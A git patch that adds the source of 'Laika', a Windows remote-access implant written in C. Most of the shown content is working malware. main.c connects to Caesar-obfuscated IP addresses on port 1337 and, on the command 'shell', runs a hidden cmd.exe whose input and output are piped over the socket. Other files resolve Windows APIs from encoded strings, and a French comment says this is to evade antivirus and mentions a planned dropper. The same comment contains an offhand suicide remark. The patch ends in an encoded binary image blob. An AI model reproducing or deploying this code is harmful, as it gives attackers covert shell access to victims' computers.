From adb9cb74170c3b8a634769281c9c70702ea69c48 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Thu, 19 Jan 2023 13:23:57 +0100 Subject: [PATCH] premier commit --- .gitignore | 2 + Laika/Laika.sln | 31 ++++ Laika/Laika.vcxproj | 167 +++++++++++++++++++++ Laika/Laika.vcxproj.filters | 30 ++++ Laika/Laika.vcxproj.user | 4 + Laika/main.c | 279 ++++++++++++++++++++++++++++++++++++ Laika/resolve_apis.c | 59 ++++++++ Laika/resolve_apis.h | 73 ++++++++++ Laika/utils.c | 43 ++++++ Laika/utils.h | 10 ++ Screenshots/Server.PNG | Bin 0 -> 35713 bytes Server/Server.py | 185 ++++++++++++++++++++++++ Server/requirements.txt | 4 + readme.md | 27 ++++ 14 files changed, 914 insertions(+) create mode 100644 .gitignore create mode 100644 Laika/Laika.sln create mode 100644 Laika/Laika.vcxproj create mode 100644 Laika/Laika.vcxproj.filters create mode 100644 Laika/Laika.vcxproj.user create mode 100644 Laika/main.c create mode 100644 Laika/resolve_apis.c create mode 100644 Laika/resolve_apis.h create mode 100644 Laika/utils.c create mode 100644 Laika/utils.h create mode 100644 Screenshots/Server.PNG create mode 100644 Server/Server.py create mode 100644 Server/requirements.txt create mode 100644 readme.md diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7a08910 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +Laika/.vs +Laika/release \ No newline at end of file diff --git a/Laika/Laika.sln b/Laika/Laika.sln new file mode 100644 index 0000000..7741c2d --- /dev/null +++ b/Laika/Laika.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32407.343 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.ActiveCfg = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.Build.0 = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.ActiveCfg = Debug|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.Build.0 = Debug|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.ActiveCfg = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.Build.0 = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.ActiveCfg = Release|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {40DA52A8-9E2F-46BC-AA9A-205BF4863D68} + EndGlobalSection +EndGlobal diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj new file mode 100644 index 0000000..dc03993 --- /dev/null +++ b/Laika/Laika.vcxproj @@ -0,0 +1,167 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {6c8dd8fe-e960-43b4-b757-effa9fe6bb00} + Laika + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + false + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + false + + + true + + + false + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + + + Level3 + true + true + false + WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + stdcpp20 + Disabled + MultiThreadedDebug + false + CompileAsC + + + Console + true + true + true + true + main + + + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Laika/Laika.vcxproj.filters b/Laika/Laika.vcxproj.filters new file mode 100644 index 0000000..9340471 --- /dev/null +++ b/Laika/Laika.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {e821bc06-aaf9-438e-91a3-8a3220e3c3f6} + + + {9e95c751-2cb6-4c1e-9f06-96b14532a979} + + + + + Init + + + Libs + + + Libs + + + + + Libs + + + Libs + + + \ No newline at end of file diff --git a/Laika/Laika.vcxproj.user b/Laika/Laika.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/Laika/Laika.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/Laika/main.c b/Laika/main.c new file mode 100644 index 0000000..4292d09 --- /dev/null +++ b/Laika/main.c @@ -0,0 +1,279 @@ +#include +#include +#include +#include "utils.h" +#include "resolve_apis.h" + +#define Sleep_TIME 30 + +HANDLE g_hChildStd_IN_Rd = NULL; +HANDLE g_hChildStd_IN_Wr = NULL; +HANDLE g_hChildStd_OUT_Rd = NULL; +HANDLE g_hChildStd_OUT_Wr = NULL; + +extern API Api; + +#define BUFFER_SIZE 4096 + +DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { + SOCKET sock = (SOCKET)lpParameter; + char* buffer = (char*)Api.malloc(BUFFER_SIZE); + DWORD bytesRead; + + while (1) { + //Read data from the socket + Api.memset(buffer, 0, BUFFER_SIZE); + bytesRead = Api.recv(sock, buffer, BUFFER_SIZE, 0); + if (bytesRead > 0) { + Api.WriteFile(g_hChildStd_IN_Wr, CAESAR_DECRYPT(buffer), bytesRead, NULL, NULL); + //Api.WriteFile(g_hChildStd_IN_Wr, buffer, bytesRead, NULL, NULL); + } + else if (bytesRead == SOCKET_ERROR) { + break; + } + else { + Api.Sleep(50); + } + } + + Api.free(buffer); + return 0; +} + +DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { + SOCKET sock = (SOCKET)lpParameter; + char* buffer = (char*)Api.malloc(BUFFER_SIZE); + DWORD bytesRead; + + while (1) { + // Read data from the child process's stdout pipe + if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) { + Api.send(sock, CAESAR(buffer), bytesRead, 0); + //Api.send(sock, buffer, bytesRead, 0); + } + else { + DWORD error = Api.GetLastError(); + if (error == ERROR_BROKEN_PIPE) { + //pipe closed by the process + break; + } + } + } + + Api.free(buffer); + return 0; +} + +typedef struct t_watch_process_args { + SOCKET sock; + HANDLE process; +}watch_process_args; + +int should_reset = 0; +DWORD WINAPI watch_process(LPVOID lpParameter) { + watch_process_args* args = (watch_process_args*)(lpParameter); + + char buffer[1]; // buffer to hold the data + int n; + + while (1) { + n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK); + if (n > 0) { + // There is data available on the socket, so the connection is still alive + } + else if (n == 0) { + // The connection has been closed + break; + } + else { + // An error occurred + break; + } + } + + Api.TerminateProcess(args->process, -1); + should_reset = 1; + + return 0; +} + +void SendShellEndedSignal(SOCKET sock) { + if (Api.send(sock, "Qfnpf?%xjxxnts%jsiji", strlen("Qfnpf?%xjxxnts%jsiji"), 0) < 0) //Laika: session ended + { + //send failed + } +} + +#define FALLBACK_SERVERS 4 + +char* fallback_servers[4]; +int serv = -1; +int main() { + InitApis(); + + Message(); + + fallback_servers[0] = CAESAR_DECRYPT("6>736;=3638:"); + fallback_servers[1] = CAESAR_DECRYPT(""); + fallback_servers[2] = CAESAR_DECRYPT(""); + fallback_servers[3] = CAESAR_DECRYPT("6>736;=36397"); + + Tmemset memset = Api.memset; + + wchar_t wtext[20]; + Api.mbstowcs(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null + LPWSTR cmd_char = wtext; + + int sock; + int first = 1; + struct sockaddr_in server; + char* server_reply = (char*)Api.malloc(BUFFER_SIZE); + server.sin_family = AF_INET; + server.sin_port = Api.htons(1337); + + WORD wVersionRequested = MAKEWORD(2, 2); + WSADATA wsaData; + Api.WSAStartup(wVersionRequested, &wsaData); + +retry: + if (!first) { + Api.closesocket(sock); + } + else { + first = 0; + } + + serv++; + if (serv > FALLBACK_SERVERS-1) { + serv = 0; + } + server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]); + + //Create socket + sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == -1) + { + Sleep_(Sleep_TIME); + goto retry; + } + + //Connect to remote server + if (Api.connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) + { + //connect failed + Sleep_(Sleep_TIME); + goto retry; + } + + //keep communicating with server + while (1) + { + //Send some data + /* + if (Api.send(sock, "Wjfi~3\xf", strlen("Wjfi~3\xf"), 0) < 0) //Ready.\n + { + //send failed + Sleep_(Sleep_TIME); + goto retry; + } + */ + + //Receive a reply from the server + if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0) + { + //recv failed + Sleep_(Sleep_TIME); + goto retry; + } + + if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell + // Set the socket as standard output and error + SECURITY_ATTRIBUTES sa; + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.bInheritHandle = TRUE; + sa.lpSecurityDescriptor = NULL; + if (!Api.CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0)) { + SendShellEndedSignal(sock); + Sleep_(Sleep_TIME); + goto retry; + } + if (!Api.CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0)) { + SendShellEndedSignal(sock); + Sleep_(Sleep_TIME); + goto retry; + } + + // Create a thread to read from the pipes and write to the socket + HANDLE hThread = Api.CreateThread(NULL, 0, &redirect_i_thread, (LPVOID)sock, 0, NULL); + HANDLE hThread2 = Api.CreateThread(NULL, 0, &redirect_o_thread, (LPVOID)sock, 0, NULL); + + // Create the process + STARTUPINFO si; + ZeroMemory(&si, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + si.hStdError = g_hChildStd_OUT_Wr; + si.hStdOutput = g_hChildStd_OUT_Wr; + si.hStdInput = g_hChildStd_IN_Rd; + si.dwFlags |= STARTF_USESTDHANDLES; + + PROCESS_INFORMATION pi; + ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + + if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe + SendShellEndedSignal(sock); + Api.CloseHandle(g_hChildStd_OUT_Wr); + Api.CloseHandle(g_hChildStd_IN_Rd); + + if (hThread != NULL) { + Api.TerminateThread(hThread, 0); + Api.CloseHandle(hThread); + } + if (hThread2 != NULL) { + Api.TerminateThread(hThread2, 0); + Api.CloseHandle(hThread2); + } + + Sleep_(Sleep_TIME); + goto retry; + } + + watch_process_args args = { sock, pi.hProcess}; + HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL); + + // Wait for the process to finish + Api.WaitForSingleObject(pi.hProcess, INFINITE); + + SendShellEndedSignal(sock); + + // Close the handles + Api.CloseHandle(pi.hProcess); + Api.CloseHandle(pi.hThread); + Api.CloseHandle(g_hChildStd_OUT_Wr); + Api.CloseHandle(g_hChildStd_IN_Rd); + + if (hThread != NULL) { + Api.TerminateThread(hThread, 0); + Api.CloseHandle(hThread); + } + if (hThread2 != NULL) { + Api.TerminateThread(hThread2, 0); + Api.CloseHandle(hThread2); + } + if (hThread3 != NULL) { + Api.TerminateThread(hThread3, 0); + Api.CloseHandle(hThread3); + } + + if (should_reset) { + should_reset = 0; + goto retry; + } + } + } + + Api.closesocket(sock); + + FreeApis(); + + return 0; +} \ No newline at end of file diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c new file mode 100644 index 0000000..9684f3d --- /dev/null +++ b/Laika/resolve_apis.c @@ -0,0 +1,59 @@ +#include "resolve_apis.h" + +API Api; +HMODULE hWininet; +HMODULE hMsvcrt; +HMODULE hKernel32; + +void InitApis() { + // Dynamic loading functions + hKernel32 = LoadLibraryA(CAESAR_DECRYPT("pjwsjq873iqq")); //kernel32.dll + if (!hKernel32) { + return; + } + + Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); + Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj")); + Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj")); + Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj")); + Api.GetLastError = (TGetLastError)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQfxyJwwtw")); + Api.CreatePipe = (TCreatePipe)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUnuj")); + Api.WaitForSingleObject = (TWaitForSingleObject)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\fnyKtwXnslqjTgojhy")); + Api.Sleep = (TSleep)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Xqjju")); + Api.CreateThread = (TCreateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjYmwjfi")); + Api.TerminateThread = (TTerminateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjYmwjfi")); + Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\")); + Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx")); + Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~")); + + hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq")); + if (!hWininet) { + return; + } + + Api.connect = (Tconnect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("htssjhy")); + Api.socket = (Tsocket)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xthpjy")); + Api.send = (Tsend)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjsi")); + Api.recv = (Trecv)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("wjh{")); + Api.closesocket = (Tclosesocket)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("hqtxjxthpjy")); + Api.htons = (Thtons)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("mytsx")); + Api.inet_addr = (Tinet_addr)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("nsjydfiiw")); + Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu")); + Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw")); + + hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); + if (!hMsvcrt) { + return; + } + Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy")); + Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth")); + Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj")); + Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru")); + Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx")); +} + +void FreeApis() { + Api.FreeLibrary(hWininet); + Api.FreeLibrary(hMsvcrt); + Api.FreeLibrary(hKernel32); +} \ No newline at end of file diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h new file mode 100644 index 0000000..12335fa --- /dev/null +++ b/Laika/resolve_apis.h @@ -0,0 +1,73 @@ +#pragma once +#include +#include +#include +#include +#include "utils.h" + + +typedef BOOL(WINAPI* Tconnect)(SOCKET, const SOCKADDR*, int); +typedef BOOL(WINAPI* Tsend)(SOCKET, const char*, int, int); +typedef BOOL(WINAPI* Trecv)(SOCKET, char*, int, int); +typedef BOOL(WINAPI* Tclosesocket)(SOCKET); +typedef u_short(WINAPI* Thtons)(u_short); +typedef u_long(WINAPI* Tinet_addr)(const char*); +typedef SOCKET(WINAPI* Tsocket)(int, int, int); +typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA); +typedef int(WINAPI* TWSAGetLastError)(void); + +typedef void* (WINAPI* Tmemset)(void*, int, size_t); +typedef void* (WINAPI* Tmalloc)(size_t); +typedef void(WINAPI* Tfree)(void*); +typedef int(WINAPI* Tstrncmp)(const char*, const char*, size_t); +typedef size_t(WINAPI* Tmbstowcs)(wchar_t*, const char*, size_t); + +typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef BOOL(WINAPI* TCloseHandle)(HANDLE); +typedef DWORD(WINAPI* TGetLastError)(void); +typedef BOOL(WINAPI* TCreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD); +typedef BOOL(WINAPI* TWaitForSingleObject)(HANDLE, DWORD); +typedef void(WINAPI* TSleep)(DWORD); +typedef HANDLE(WINAPI* TCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); +typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD); +typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); +typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT); +typedef BOOL(WINAPI* TFreeLibrary)(HMODULE); +typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); + +typedef struct ApiList { + Tconnect connect; + Tsocket socket; + Tsend send; + Trecv recv; + Tclosesocket closesocket; + Thtons htons; + Tinet_addr inet_addr; + TWSAStartup WSAStartup; + TWSAGetLastError WSAGetLastError; + + Tmemset memset; + Tmalloc malloc; + Tfree free; + Tstrncmp strncmp; + + TReadFile ReadFile; + TWriteFile WriteFile; + TCloseHandle CloseHandle; + TGetLastError GetLastError; + TCreatePipe CreatePipe; + TWaitForSingleObject WaitForSingleObject; + TSleep Sleep; + TCreateThread CreateThread; + TTerminateThread TerminateThread; + TCreateProcessW CreateProcessW; + TTerminateProcess TerminateProcess; + TFreeLibrary FreeLibrary; + TGetProcAddress GetProcAddress; + + Tmbstowcs mbstowcs; +} API; + +void InitApis(); +void FreeApis(); \ No newline at end of file diff --git a/Laika/utils.c b/Laika/utils.c new file mode 100644 index 0000000..b4259d4 --- /dev/null +++ b/Laika/utils.c @@ -0,0 +1,43 @@ +#include "utils.h" +const int _fltused = 0; //fuck linker errors, all my homies hate CRT +extern API Api; + +void Message() { + if (1 == 3) { + int msgboxID = MessageBox( + NULL, + (LPCWSTR)L"Hello this is a message box", + (LPCWSTR)L"Hello !", + MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2 + ); + } +} + +#define KEY 5 +char* CAESAR(char* in) { + for (size_t i = 0; i < strlen(in); i++) { + in[i] += KEY; + } + + return in; +} + +char* CAESAR_DECRYPT(char* in) { + for (size_t i = 0; i < strlen(in); i++) { + in[i] -= KEY; + } + + return in; +} + +void Sleep_(int time_to_wait) { + /* + C'est la dernière fonction qu'il reste à faire j'en ai marre du no CRT + et de devoir bypass les AV je vais me suicider il me reste le dropper + à faire dans les mêmes conditions. + */ + return; + Api.Sleep(time_to_wait * 1000); //TOFIX + + return; +} \ No newline at end of file diff --git a/Laika/utils.h b/Laika/utils.h new file mode 100644 index 0000000..3f06823 --- /dev/null +++ b/Laika/utils.h @@ -0,0 +1,10 @@ +#pragma once +#include +#include +#include +#include "resolve_apis.h" + +char* CAESAR(char* in); +char* CAESAR_DECRYPT(char* in); +void Sleep_(int time_to_wait); +void Message(); \ No newline at end of file diff --git a/Screenshots/Server.PNG b/Screenshots/Server.PNG new file mode 100644 index 0000000000000000000000000000000000000000..3a64ab4af5ffecb710922f104c12673dc120d989 GIT binary patch literal 35713 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 